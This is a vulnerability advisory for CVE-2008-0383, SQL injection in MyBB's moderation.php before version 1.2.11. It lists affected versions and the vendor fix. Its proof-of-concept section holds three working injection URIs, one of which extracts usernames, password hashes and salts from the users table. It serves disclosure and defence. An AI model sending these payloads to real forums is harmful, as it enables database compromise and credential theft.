BID:27323

MyBB 'moderation.php' Multiple SQL Injection Vulnerabilities

Info

MyBB 'moderation.php' Multiple SQL Injection Vulnerabilities

Bugtraq ID:	27323
Class:	Input Validation Error
CVE:	CVE-2008-0383
Remote:	Yes
Local:	No
Published:	Jan 16 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	Janek Vind "waraxe" is credited with the discovery of these vulnerabilities.
Vulnerable:	MyBulletinBoard MyBulletinBoard 1.2.10 MyBulletinBoard MyBulletinBoard 1.2.5 MyBulletinBoard MyBulletinBoard 1.2.3 MyBulletinBoard MyBulletinBoard 1.1.8 MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBulletinBoard 1.1.6 MyBulletinBoard MyBulletinBoard 1.1.5 MyBulletinBoard MyBulletinBoard 1.1.4 MyBulletinBoard MyBulletinBoard 1.1.3 MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBulletinBoard 1.1.1 MyBulletinBoard MyBulletinBoard 1.1 MyBulletinBoard MyBulletinBoard 1.0.4 MyBulletinBoard MyBulletinBoard 1.0.3 MyBulletinBoard MyBulletinBoard 1.0.2 MyBulletinBoard MyBulletinBoard 1.0.1 MyBulletinBoard MyBulletinBoard 1.0 PR2 MyBulletinBoard MyBulletinBoard 1.0 MyBulletinBoard MyBulletinBoard RC4 MyBulletinBoard MyBulletinBoard RC3 MyBulletinBoard MyBulletinBoard RC2 MyBulletinBoard MyBulletinBoard RC1 MyBulletinBoard MyBulletinBoard 1.2 MyBulletinBoard MyBulletinBoard 1.10

Not Vulnerable:	MyBulletinBoard MyBulletinBoard 1.2.11

Discussion

MyBB 'moderation.php' Multiple SQL Injection Vulnerabilities

MyBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to MyBB 1.2.11 are vulnerable.

Exploit / POC

MyBB 'moderation.php' Multiple SQL Injection Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2
http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'+UNION+SELECT+waraxe--+
http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads&moveto=2&threads=war|axe

Solution / Fix

MyBB 'moderation.php' Multiple SQL Injection Vulnerabilities

Solution:
The vendor released MyBB 1.2.11 to address these issues. Please see the references for more information.

MyBulletinBoard MyBulletinBoard RC1